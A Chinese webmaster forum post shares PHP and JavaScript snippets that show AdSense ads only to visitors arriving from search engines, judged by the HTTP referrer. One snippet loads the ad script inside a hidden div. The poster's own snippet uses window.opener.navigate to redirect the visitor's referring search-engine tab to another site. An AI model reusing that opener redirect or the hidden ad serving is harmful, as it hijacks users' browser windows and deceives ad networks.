很多時候,站長自己過多的訪問網站頁面,造成展示過多的話,可能影響AdSense廣告單價,而且對自己的體驗也不好,還會拖慢網站速度。
那麼如果能夠讓主動輸入網址進來的訪客在瀏覽網頁的時候,不顯示廣告的話,會讓人們有收藏和分享網站的可能。而一些知名網站,通過JS代碼實現關閉廣告,並且記錄cookie,只要不刪除記錄就能繼續保持無廣告瀏覽。還有一些網站,通過判斷來路,只讓百度搜索進來的用戶,才會在網頁上看到展示的廣告。
搜索了一些通過判斷來路來屏蔽廣告的方案,下面這些可以參考:
- php判斷搜索引擎的代碼
- <?PHP
- $referer = $_SERVER['HTTP_REFERER'];
- if(!$referer == ''){
- if(ereg('http',$referer)){
- $referer = @eXPlode('.',$referer);
- if(is_array($referer)){
- $referer = $referer['1'];
- if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
- ?>
- <div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
- </div><?php
- }
- }
- }
- }
- ?>
- 而通過Js判斷搜索引擎來路的代碼則如下
- <script type="text/javascript">
- function elem(e,url){
- var h=document.createElement(e);
- h.src=url;
- document.getElementsByTagName('head')[0].appendChild(h);
- }
- function refer(){
- var ref=document.referrer;
- var baidu=ref.indexOf("baidu");
- var soso=ref.indexOf("soso");
- var google=ref.indexOf("google");
- if(baidu!=-1||soso!=-1||google!=-1){
- elem("script","http://127.0.0.1/js.js");
- }
- }
- refer()
- </script>
- 另外附上自己百度谷歌的一份代碼
- <script language="javascript">
- var s=document.referrer
- if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )
- window.opener.navigate("http://www.luosuo.net")
- </script>
複製代碼 如果你有什麼好的方法,歡迎分享
對於discuz論壇程序的站長來說,由於站長自己管理和發帖都需要在前台操作,因此如果能夠不顯示廣告的話,會有多方面的好處,期待有技術員能開發出discuz判斷流量來路來顯示廣告的管理插件,應該不難實現。
|
|